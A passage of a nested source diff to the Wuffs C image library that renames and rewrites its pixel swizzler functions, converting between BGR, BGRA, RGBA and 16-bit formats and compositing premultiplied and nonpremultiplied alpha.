++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 8-bit color. ++ d[0] = (uint8_t)(db >> 8); ++ d[1] = (uint8_t)(dg >> 8); ++ d[2] = (uint8_t)(dr >> 8); + + s += 1 * 8; +- d += 1 * 4; ++ d += 1 * 3; + n -= 1; + } + + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__rgbw__bgr_565(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++wuffs_private_impl__swizzle_bgr__bgra_premul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- // TODO: unroll. +- + while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ d[0] = s0; ++ d[1] = s1; ++ d[2] = s2; + +- s += 1 * 2; +- d += 1 * 4; ++ s += 1 * 4; ++ d += 1 * 3; + n -= 1; + } + + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__xxx__index__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } ++wuffs_private_impl__swizzle_bgr__bgra_premul__src_over(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len3 = dst_len / 3; +- size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- const size_t loop_unroll_count = 4; ++ while (n >= 1) { ++ // Extract 16-bit color components. ++ uint32_t dr = 0x101 * ((uint32_t)d[2]); ++ uint32_t dg = 0x101 * ((uint32_t)d[1]); ++ uint32_t db = 0x101 * ((uint32_t)d[0]); ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sr = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sb = 0x101 * ((uint32_t)s[0]); + +- // The comparison in the while condition is ">", not ">=", because with +- // ">=", the last 4-byte store could write past the end of the dst slice. +- // +- // Each 4-byte store writes one too many bytes, but a subsequent store +- // will overwrite that with the correct byte. There is always another +- // store, whether a 4-byte store in this loop or a 1-byte store in the +- // next loop. +- while (n > loop_unroll_count) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 3), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[0] * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (1 * 3), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[1] * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (2 * 3), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[2] * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (3 * 3), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[3] * 4))); ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; + +- s += loop_unroll_count * 1; +- d += loop_unroll_count * 3; +- n -= loop_unroll_count; ++ // Composite src (premul) over dst (premul). ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert from 16-bit color to 8-bit color. ++ d[0] = (uint8_t)(db >> 8); ++ d[1] = (uint8_t)(dg >> 8); ++ d[2] = (uint8_t)(dr >> 8); ++ ++ s += 1 * 4; ++ d += 1 * 3; ++ n -= 1; + } + ++ return len; ++} ++ ++static uint64_t // ++wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; ++ ++ // TODO: unroll. ++ + while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); + wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); + +- s += 1 * 1; ++ s += 1 * 4; + d += 1 * 3; + n -= 1; + } +@@ -23089,19 +24235,16 @@ wuffs_base__pixel_swizzler__xxx__index__src(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over( ++wuffs_private_impl__swizzle_bgr__rgba_nonpremul_4x16le__src( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } + size_t dst_len3 = dst_len / 3; +- size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -23109,14 +24252,12 @@ wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint32_t d0 = +- wuffs_base__peek_u24le__no_bounds_check(d + (0 * 3)) | 0xFF000000; +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- wuffs_base__poke_u24le__no_bounds_check( +- d + (0 * 3), wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0)); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); + +- s += 1 * 1; ++ s += 1 * 8; + d += 1 * 3; + n -= 1; + } +@@ -23125,60 +24266,46 @@ wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxx__index_binary_alpha__src_over( ++wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } + size_t dst_len3 = dst_len / 3; +- size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- const size_t loop_unroll_count = 4; ++ // TODO: unroll. + +- while (n >= loop_unroll_count) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- if (s0) { +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); +- } +- uint32_t s1 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[1] * 4)); +- if (s1) { +- wuffs_base__poke_u24le__no_bounds_check(d + (1 * 3), s1); +- } +- uint32_t s2 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[2] * 4)); +- if (s2) { +- wuffs_base__poke_u24le__no_bounds_check(d + (2 * 3), s2); +- } +- uint32_t s3 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[3] * 4)); +- if (s3) { +- wuffs_base__poke_u24le__no_bounds_check(d + (3 * 3), s3); +- } ++ while (n >= 1) { ++ // Extract 16-bit color components. ++ uint32_t dr = 0x101 * ((uint32_t)d[2]); ++ uint32_t dg = 0x101 * ((uint32_t)d[1]); ++ uint32_t db = 0x101 * ((uint32_t)d[0]); ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sb = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sr = 0x101 * ((uint32_t)s[0]); + +- s += loop_unroll_count * 1; +- d += loop_unroll_count * 3; +- n -= loop_unroll_count; +- } ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- if (s0) { +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); +- } ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; + +- s += 1 * 1; ++ // Convert from 16-bit color to 8-bit color. ++ d[0] = (uint8_t)(db >> 8); ++ d[1] = (uint8_t)(dg >> 8); ++ d[2] = (uint8_t)(dr >> 8); ++ ++ s += 1 * 4; + d += 1 * 3; + n -= 1; + } +@@ -23187,15 +24314,16 @@ wuffs_base__pixel_swizzler__xxx__index_binary_alpha__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxx__xxxx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgr__rgba_nonpremul_4x16le__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -23203,10 +24331,29 @@ wuffs_base__pixel_swizzler__xxx__xxxx(uint8_t* dst_ptr, + // TODO: unroll. + + while (n >= 1) { +- wuffs_base__poke_u24le__no_bounds_check( +- d + (0 * 3), wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ // Extract 16-bit color components. ++ uint32_t dr = 0x101 * ((uint32_t)d[2]); ++ uint32_t dg = 0x101 * ((uint32_t)d[1]); ++ uint32_t db = 0x101 * ((uint32_t)d[0]); ++ uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); ++ uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); ++ uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); ++ uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); + +- s += 1 * 4; ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 8-bit color. ++ d[0] = (uint8_t)(db >> 8); ++ d[1] = (uint8_t)(dg >> 8); ++ d[2] = (uint8_t)(dr >> 8); ++ ++ s += 1 * 8; + d += 1 * 3; + n -= 1; + } +@@ -23215,27 +24362,28 @@ wuffs_base__pixel_swizzler__xxx__xxxx(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxx__y(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgr__rgba_premul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len3 = dst_len / 3; +- size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- // TODO: unroll. +- + while (n >= 1) { + uint8_t s0 = s[0]; +- d[0] = s0; +- d[1] = s0; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ d[0] = s2; ++ d[1] = s1; + d[2] = s0; + +- s += 1 * 1; ++ s += 1 * 4; + d += 1 * 3; + n -= 1; + } +@@ -23244,28 +24392,43 @@ wuffs_base__pixel_swizzler__xxx__y(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxx__y_16be(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgr__rgba_premul__src_over(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len3 = dst_len / 3; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- // TODO: unroll. +- + while (n >= 1) { +- uint8_t s0 = s[0]; +- d[0] = s0; +- d[1] = s0; +- d[2] = s0; ++ // Extract 16-bit color components. ++ uint32_t dr = 0x101 * ((uint32_t)d[2]); ++ uint32_t dg = 0x101 * ((uint32_t)d[1]); ++ uint32_t db = 0x101 * ((uint32_t)d[0]); ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sb = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sr = 0x101 * ((uint32_t)s[0]); + +- s += 1 * 2; ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (premul) over dst (premul). ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert from 16-bit color to 8-bit color. ++ d[0] = (uint8_t)(db >> 8); ++ d[1] = (uint8_t)(dg >> 8); ++ d[2] = (uint8_t)(dr >> 8); ++ ++ s += 1 * 4; + d += 1 * 3; + n -= 1; + } +@@ -23273,114 +24436,63 @@ wuffs_base__pixel_swizzler__xxx__y_16be(uint8_t* dst_ptr, + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__xxxx__index__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } +- size_t dst_len4 = dst_len / 4; +- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++wuffs_private_impl__swizzle_bgr__rgbx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- const size_t loop_unroll_count = 4; +- +- while (n >= loop_unroll_count) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[0] * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (1 * 4), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[1] * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (2 * 4), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[2] * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (3 * 4), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[3] * 4))); +- +- s += loop_unroll_count * 1; +- d += loop_unroll_count * 4; +- n -= loop_unroll_count; +- } ++ // TODO: unroll. + + while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[0] * 4))); ++ uint8_t b0 = s[0]; ++ uint8_t b1 = s[1]; ++ uint8_t b2 = s[2]; ++ d[0] = b2; ++ d[1] = b1; ++ d[2] = b0; + +- s += 1 * 1; +- d += 1 * 4; ++ s += 1 * 4; ++ d += 1 * 3; + n -= 1; + } + + return len; + } + ++// -------- ++ + static uint64_t // +-wuffs_base__pixel_swizzler__xxxx__index_binary_alpha__src_over( ++wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } + size_t dst_len4 = dst_len / 4; +- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- const size_t loop_unroll_count = 4; +- +- while (n >= loop_unroll_count) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- if (s0) { +- wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); +- } +- uint32_t s1 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[1] * 4)); +- if (s1) { +- wuffs_base__poke_u32le__no_bounds_check(d + (1 * 4), s1); +- } +- uint32_t s2 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[2] * 4)); +- if (s2) { +- wuffs_base__poke_u32le__no_bounds_check(d + (2 * 4), s2); +- } +- uint32_t s3 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[3] * 4)); +- if (s3) { +- wuffs_base__poke_u32le__no_bounds_check(d + (3 * 4), s3); +- } +- +- s += loop_unroll_count * 1; +- d += loop_unroll_count * 4; +- n -= loop_unroll_count; +- } +- + while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- if (s0) { +- wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); +- } ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); + +- s += 1 * 1; ++ s += 1 * 4; + d += 1 * 4; + n -= 1; + } +@@ -23388,75 +24500,88 @@ wuffs_base__pixel_swizzler__xxxx__index_binary_alpha__src_over( + return len; + } + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + static uint64_t // +-wuffs_base__pixel_swizzler__xxxx__y__x86_sse42(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul_4x16le__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len4 = dst_len / 4; +- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; ++ + size_t n = len; ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), wuffs_base__color_u64__as__color_u32( ++ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); + +- __m128i shuffle = _mm_set_epi8(+0x03, +0x03, +0x03, +0x03, // +- +0x02, +0x02, +0x02, +0x02, // +- +0x01, +0x01, +0x01, +0x01, // +- +0x00, +0x00, +0x00, +0x00); +- __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // +- -0x01, +0x00, +0x00, +0x00, // +- -0x01, +0x00, +0x00, +0x00, // +- -0x01, +0x00, +0x00, +0x00); +- +- while (n >= 4) { +- __m128i x; +- x = _mm_cvtsi32_si128((int)(wuffs_base__peek_u32le__no_bounds_check(s))); +- x = _mm_shuffle_epi8(x, shuffle); +- x = _mm_or_si128(x, or_ff); +- _mm_storeu_si128((__m128i*)(void*)d, x); +- +- s += 4 * 1; +- d += 4 * 4; +- n -= 4; ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; + } ++ return len; ++} ++ ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul_4x16le__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + + while (n >= 1) { ++ uint64_t d0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); ++ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); + wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); ++ d + (0 * 4), ++ wuffs_base__color_u64__as__color_u32( ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, ++ s0))); + +- s += 1 * 1; ++ s += 1 * 8; + d += 1 * 4; + n -= 1; + } + + return len; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + + static uint64_t // +-wuffs_base__pixel_swizzler__xxxx__y(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len4 = dst_len / 4; +- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + + while (n >= 1) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); + wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); ++ d + (0 * 4), ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul(s0)); + +- s += 1 * 1; ++ s += 1 * 4; + d += 1 * 4; + n -= 1; + } +@@ -23465,24 +24590,28 @@ wuffs_base__pixel_swizzler__xxxx__y(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxxx__y_16be(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len4 = dst_len / 4; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + + while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); + wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); ++ d + (0 * 4), ++ wuffs_private_impl__composite_nonpremul_premul_u32_axxx(d0, s0)); + +- s += 1 * 2; ++ s += 1 * 4; + d += 1 * 4; + n -= 1; + } +@@ -23490,33 +24619,36 @@ wuffs_base__pixel_swizzler__xxxx__y_16be(uint8_t* dst_ptr, + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__xxxxxxxx__index__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgra_nonpremul__index_bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + if (dst_palette_len != + WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { + return 0; + } +- size_t dst_len8 = dst_len / 8; +- size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++ size_t dst_len4 = dst_len / 4; ++ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[0] * 4)))); ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); + + s += 1 * 1; +- d += 1 * 8; ++ d += 1 * 4; + n -= 1; + } + +@@ -23524,33 +24656,30 @@ wuffs_base__pixel_swizzler__xxxxxxxx__index__src(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxxxxxxx__index_binary_alpha__src_over( ++wuffs_private_impl__swizzle_bgra_nonpremul__rgba_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- 